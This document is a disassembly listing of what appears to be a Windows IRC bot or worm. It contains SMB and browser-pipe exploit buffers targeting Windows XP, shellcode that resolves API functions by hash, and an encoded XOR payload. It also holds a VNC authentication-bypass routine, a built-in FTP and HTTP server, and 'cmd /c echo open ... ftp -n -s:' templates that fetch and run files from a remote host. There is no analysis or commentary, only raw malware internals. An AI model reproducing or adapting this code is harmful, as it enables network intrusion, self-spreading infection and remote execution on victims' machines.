'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431AF4 db 2Dh ; - ; DATA XREF: sub_40C124+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431B2C db 2Dh ; - ; DATA XREF: sub_40C124+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431B60 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431B94 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59B+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 10h db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADA+B2o align 4 dword_431C48 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao dword_431C50 dd 10FF8h ; DATA XREF: sub_40CADA+79o dword_431C54 dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o dword_431C5C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_431CE4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_431D14 dd 0 ; DATA XREF: sub_40CF04+44o dd 800000D4h, 0 unk_431D20 db 81h ; ; DATA XREF: sub_40CFDE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_431D6C db 41h ; DATA XREF: sub_40D07C+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_431DB0 proc near ; DATA XREF: ___:0040D35Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_431EAC push dword ptr [esi] push 63D61209h call sub_431EC2 mov [esi+8], eax call sub_431E75 push dword ptr [esi+4] push 0CA2BD06Bh call sub_431EC2 mov [esi+0Ch], eax call sub_431E27 push dword ptr [esi+4] push 4C0297FAh call sub_431EC2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_431DB0 endp ; =============== S U B R O U T I N E ======================================= sub_431E27 proc near ; CODE XREF: sub_431DB0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_431E50 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_431E27 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E50 proc near ; CODE XREF: sub_431E27+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_431E5F: ; CODE XREF: sub_431E50+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_431E6C inc ebx jmp short loc_431E5F ; --------------------------------------------------------------------------- loc_431E6C: ; CODE XREF: sub_431E50+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_431E50 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E75 proc near ; CODE XREF: sub_431DB0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_431E8D: ; CODE XREF: sub_431E75+1Ej cmp [ecx], ebx jz short loc_431E95 mov ecx, [ecx] jmp short loc_431E8D ; --------------------------------------------------------------------------- loc_431E95: ; CODE XREF: sub_431E75+1Aj mov edx, edi loc_431E97: ; CODE XREF: sub_431E75+2Aj cmp [edx+4], ebx jz short loc_431EA1 mov edx, [edx+4] jmp short loc_431E97 ; --------------------------------------------------------------------------- loc_431EA1: ; CODE XREF: sub_431E75+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_431E75 endp ; =============== S U B R O U T I N E ======================================= sub_431EAC proc near ; CODE XREF: sub_431DB0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_431EAC endp ; =============== S U B R O U T I N E ======================================= sub_431EC2 proc near ; CODE XREF: sub_431DB0+16p ; sub_431DB0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_431ED8: ; CODE XREF: sub_431EC2+33j jecxz short loc_431F12 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_431EE5: ; CODE XREF: sub_431EC2+2Dj lodsb cmp al, ah jz short loc_431EF1 ror edi, 0Dh add edi, eax jmp short loc_431EE5 ; --------------------------------------------------------------------------- loc_431EF1: ; CODE XREF: sub_431EC2+26j cmp edi, [esp+20h+arg_0] jnz short loc_431ED8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_431F12: ; CODE XREF: sub_431EC2:loc_431ED8j ; sub_431EC2:loc_431F12j jmp short loc_431F12 sub_431EC2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_431F18 proc near ; DATA XREF: ___:0040D309o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_431F6A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_431F35: ; CODE XREF: sub_431F18+38j jecxz short loc_431F65 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_431F40: ; CODE XREF: sub_431F18+32j lodsb test al, al jz short loc_431F4C ror edx, 0Dh add edx, eax jmp short loc_431F40 ; --------------------------------------------------------------------------- loc_431F4C: ; CODE XREF: sub_431F18+2Bj cmp edx, [esp+arg_0] jnz short loc_431F35 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_431F65: ; CODE XREF: sub_431F18:loc_431F35j mov [esp+arg_0], ebx retn sub_431F18 endp ; =============== S U B R O U T I N E ======================================= sub_431F6A proc near ; CODE XREF: sub_431F18+7p ; FUNCTION CHUNK AT 00431FA2 SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_431F83 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_431F8E ; --------------------------------------------------------------------------- loc_431F83: ; CODE XREF: sub_431F6A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_431F8E: ; CODE XREF: sub_431F6A+14j pop edi xor esi, esi pusha push esi jmp short loc_431FA2 sub_431F6A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431F95 proc near ; CODE XREF: sub_431F6A:loc_431FA2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_431F95 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F6A loc_431FA2: ; CODE XREF: sub_431F6A+29j call sub_431F95 loc_431FA7: ; DATA XREF: sub_40CADA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_431F6A ; --------------------------------------------------------------------------- dw 0 dword_431FAC dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o dword_431FB8 dd 30h ; DATA XREF: sub_40CADA+2CAo dword_431FBC dd 0A1h ; DATA XREF: sub_40CADA+29Fo dword_431FC0 dd 3 ; DATA XREF: sub_40CADA+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o align 4 loc_431FCC: ; DATA XREF: sub_40CADA+E8o jmp short near ptr dword_431FD4 ; --------------------------------------------------------------------------- db 6 dup(90h) dword_431FD4 dd 0 ; CODE XREF: ___:loc_431FCCj aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D330o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h dword_432040 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo ; --------------------------------------------------------------------------- loc_43204C: ; CODE XREF: ___:00432056j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_43204C inc edi jz short loc_432093 and eax, 952CE753h inc esp jle short loc_4320BB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_432093: ; CODE XREF: ___:00432059j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_4320F2+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4320B8: ; CODE XREF: ___:004320E5j xor [esi-25h], bl loc_4320BB: ; CODE XREF: ___:00432061j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_4320D4: ; CODE XREF: ___:00432107j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4320B8 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_4320F2: ; CODE XREF: ___:00432099j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_43217E jo short loc_4320D4 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_432115+1 add bl, [edi] loc_432115: ; CODE XREF: ___:00432111j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_43212A+2 cmp ch, bh dec edx loc_43212A: ; CODE XREF: ___:00432125j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_43217E: ; CODE XREF: ___:00432105j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_432204 sub al, 0BCh jmp near ptr 54452572h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_4321A0 dd 0EFFFC481h, 44FFFFh, 4321ECh ; DATA XREF: ___:0040DC32o dword_4321AC dd 42Ah ; DATA XREF: ___:0040DBE5r dword_4321B0 dd 3E8h ; DATA XREF: ___:0040DC56r dword_4321B4 dd 258h ; DATA XREF: ___:0040DC28r byte_4321B8 db 1 ; DATA XREF: ___:0040DB91r ; ___:0040DC5Fr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4321D0 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321BCo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_432204: ; CODE XREF: ___:00432188j push eax xor al, 29h loc_432207: ; DATA XREF: ___:0040DBB9o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_432210 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o dword_432224 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co align 4 aSIpc db '\\%s\ipc$',0 align 4 aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DFE2+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4322CC dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 10h aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co align 10h aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o align 10h word_433510 dw 1 ; DATA XREF: ___:0040E210r align 4 dword_433514 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C64+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 4 aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 4 a226TransferC_0 db '226 Transfer complete',0Ah,0 align 10h aList_0 db 'LIST',0 align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00437C78o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00437C84o unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4337FC db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_433824 db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo ; sub_41A4D1+F5o align 4 aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o ; sub_41AA42+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo align 4 unk_433A44 db 2Dh ; - ; DATA XREF: sub_40F6B3+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_433A7C db 2Dh ; - ; DATA XREF: sub_40F6B3+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 10h asc_433AB0: ; DATA XREF: sub_40F6B3+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+652o align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96A+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o ; sub_40F96A+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o align 10h aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o ; sub_40F96A+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao align 10h a__ db '..',0 ; DATA XREF: sub_40F96A+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 